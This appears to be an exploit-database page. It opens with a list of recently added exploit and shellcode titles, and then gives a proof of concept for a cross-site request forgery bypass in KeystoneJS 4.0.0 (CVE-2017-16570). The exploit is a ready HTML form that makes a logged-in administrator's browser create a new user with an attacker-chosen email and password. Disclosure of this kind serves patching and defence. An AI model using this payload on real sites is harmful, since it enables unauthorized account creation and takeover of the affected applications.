acaa042761
21 changes to exploits/shellcodes Artifex MuJS 1.0.2 - Denial of Service Artifex MuJS 1.0.2 - Integer Overflow BMC BladeLogic 8.3.00.64 - Remote Command Execution Trend Micro Threat Discovery Appliance 2.6.1062r1 - 'dlp_policy_upload.cgi' Remote Code Execution PACSOne Server 6.6.2 DICOM Web Viewer - Directory Trasversal PACSOne Server 6.6.2 DICOM Web Viewer - SQL Injection Gnew 2018.1 - Cross-Site Request Forgery Nexpose < 6.4.66 - Cross-Site Request Forgery Joomla! Component JS Support Ticket 1.1.0 - Cross-Site Request Forgery Joomla! Component Jtag Members Directory 5.3.7 - Arbitrary File Download Task Rabbit Clone 1.0 - 'id' SQL Injection TSiteBuilder 1.0 - SQL Injection Hot Scripts Clone - 'subctid' SQL Injection Multilanguage Real Estate MLM Script 3.0 - 'srch' SQL Injection Buddy Zone 2.9.9 - SQL Injection Netis WF2419 Router - Cross-Site Request Forgery KeystoneJS < 4.0.0-beta.7 - Cross-Site Request Forgery Linux/x86 - Egghunter Shellcode (12 Bytes) Linux/ARM - Reverse TCP (192.168.1.1:4444/TCP) Shell (/bin/sh) Null Free Shellcode (80 bytes)
29 lines
No EOL
867 B
HTML
29 lines
No EOL
867 B
HTML
# Exploit Title: Application wide CSRF Bypass
|
|
# Date: Sep, 2017
|
|
# Exploit Author: Saurabh Banawar
|
|
# Vendor Homepage: http://keystonejs.com/
|
|
# Software Link: https://github.com/keystonejs/keystone
|
|
# Version: 4.0.0
|
|
# Tested on: Windows 8.1
|
|
# CVE : 2017-16570
|
|
|
|
|
|
Link: https://vuldb.com/?id.109170
|
|
|
|
|
|
Exploit:
|
|
|
|
<html>
|
|
<body>
|
|
<form action="http://127.0.0.1:3000/keystone/api/users/create" method="POST"
|
|
enctype="multipart/form-data">
|
|
<input type="hidden" name="name.first" value="Saurabh" />
|
|
<input type="hidden" name="name.last" value="Banawar" />
|
|
<input type="hidden" name="email"
|
|
value="saurabh.banawar@securelayer7.net" />
|
|
<input type="hidden" name="password" value="test" />
|
|
<input type="hidden" name="password_confirm" value="test" />
|
|
<input type="submit" value="Submit request" />
|
|
</form>
|
|
</body>
|
|
</html> |